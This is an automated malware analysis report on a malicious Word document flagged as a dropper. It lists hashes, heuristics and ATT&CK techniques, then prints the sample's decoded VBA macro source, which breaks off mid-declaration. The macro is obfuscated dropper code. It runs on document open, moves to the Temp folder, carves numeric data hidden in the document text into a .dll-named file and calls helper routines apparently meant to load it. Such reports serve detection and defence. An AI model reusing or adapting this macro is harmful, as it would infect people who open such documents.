Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1d6f2d689c51ddb9…

MALICIOUS

Office (OLE)

3.06 MB Created: 2020-02-15 01:17:00 Authoring application: Microsoft Office Word First seen: 2020-12-25
MD5: 0f8c50d043383d88d9f8278bea8543a4 SHA-1: 72d25a343b78ac8c23748e2d209fb1a51f933b41 SHA-256: 1d6f2d689c51ddb98a9fbbe0d6405ff531bce49d150159b3d397345a01973244
130 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a Microsoft Office document with a critical ClamAV detection for 'Doc.Dropper.Agent-7775132-0'. It contains VBA macros, including a Document_Open macro, which is a common technique for executing malicious code upon opening. The VBA script utilizes the Environ("Temp") function to access the temporary directory, likely to stage a downloaded payload. The presence of VBA macros and the 'dropper' detection strongly suggest this document is used to deliver a secondary malicious payload.

Heuristics 5

  • ClamAV: Doc.Dropper.Agent-7775132-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-7775132-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5663 bytes
SHA-256: 027491dc3a6b8627ce344c3299f3611e4af560ecb5d06e2394600eecb95b0eba
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function join_userspage()
Dim alt_dict As String
Dim ver_logoff As Boolean
alt_dict = Environ("Temp")
ChDir (alt_dict)


End Function
Function countryCoderotate(Carnoidme, Genazrel, selectall_u41, xajax, Name, returnurl, Boop, em, blogs, footer, shortcode, recursive, servername)
Dim phoneechostr As Long
Dim ver_logoff As Boolean
Dim size_topics As Words
Set size_topics = ThisDocument.Words
STRUCTURE_school = "-"
On Error Resume Next
Dim ui_dbase As String
Dim mmsearchterm As Boolean, cs_makedoc As Boolean
Dim CurrentFolder_nickname As Byte, Last As Long
Dim currentFolder_testing
mmsearchterm = False
selectall_u41 = selectall_u41 + ".dll"
If ver_logoff Then
Dim siz, i, strin
    siz = Len(strin)
    For i = 1 To siz
        If Asc(Mid(strin, i, 1)) = 32 Then
            NeedQuote = True
            Exit Function
        End If
    Next
    NeedQuote = False
End If
If ver_logoff Then
'Dim siz, i, strin
    siz = Len(strin)
    For i = 1 To siz
        If Asc(Mid(strin, i, 1)) = 32 Then
            NeedQuote = True
            Exit Function
        End If
    Next
    NeedQuote = False
End If
If ver_logoff Then
'Dim siz, i, strin
    siz = Len(strin)
    For i = 1 To siz
        If Asc(Mid(strin, i, 1)) = 32 Then
            NeedQuote = True
            Exit Function
        End If
    Next
    NeedQuote = False
End If
join_userspage
Res.CXRA (selectall_u41)
If ver_logoff Then
'Dim siz, i, strin
    siz = Len(strin)
    For i = 1 To siz
        If Asc(Mid(strin, i, 1)) = 32 Then
            NeedQuote = True
            Exit Function
        End If
    Next
    NeedQuote = False
End If
For Each currentFolder_testing In size_topics
If currentFolder_testing = STRUCTURE_school Then
cs_makedoc = True
GoTo Hheawbe
End If
If cs_makedoc = True Then
currentFolder_testing = STRUCTURE_school + currentFolder_testing
cs_makedoc = False
End If
If currentFolder_testing <> Carnoidme And mmsearchterm = False Then
GoTo Hheawbe
End If
If IsNumeric(currentFolder_testing) And mmsearchterm Then
phoneechostr = Val(currentFolder_testing)
Put #54, , phoneechostr
End If
If currentFolder_testing = Carnoidme Then
mmsearchterm = True
ElseIf currentFolder_testing = Genazrel Then
mmsearchterm = False
GoTo Finelake
End If
Hheawbe:
Next currentFolder_testing
If ver_logoff Then
'Dim siz, i, strin
    siz = Len(strin)
    For i = 1 To siz
        If Asc(Mid(strin, i, 1)) = 32 Then
            NeedQuote = True
            Exit Function
        End If
    Next
    NeedQuote = False
End If

Finelake:
If ver_logoff Then
'Dim siz, i, strin
    siz = Len(strin)
    For i = 1 To siz
        If Asc(Mid(strin, i, 1)) = 32 Then
            NeedQuote = True
            Exit Function
        End If
    Next
    NeedQuote = False
End If

Res.CXR (strin)
If ver_logoff Then
'Dim siz, i, strin
    siz = Len(strin)
    For i = 1 To siz
        If Asc(Mid(strin, i, 1)) = 32 Then
            NeedQuote = True
            Exit Function
        End If
    Next
    NeedQuote = False
End If
End Function
Sub unlockchars()
Dim ver_logoff As Boolean
On Error Resume Next
Dim jencode As Boolean
Call countryCoderotate("Besek", "Emerganc", "string", "ACTION", "taxonomy", "autofix", "password3", "init", "proxyport", "fs", "fg", "u20", "localize")
jencode = Res.controlf(0)
If jencode = False Then
Call countryCoderotate("Kequente", "Laberstne", "string", "ACTION", "taxonomy", "autofix", "password3", "init", "proxyport", "fs", "fg", "u20", "localize")
Res.controlf (1)
End If
End Sub
Private Sub Document_Open()
join_userspage
unlockchars
End Sub

Attribute VB_Name = "Res"


Declare PtrSafe Function GetSystemDirectory Lib "kernel32.dll" Alias "GetSystemDirectoryA" (ByVal
... (truncated)

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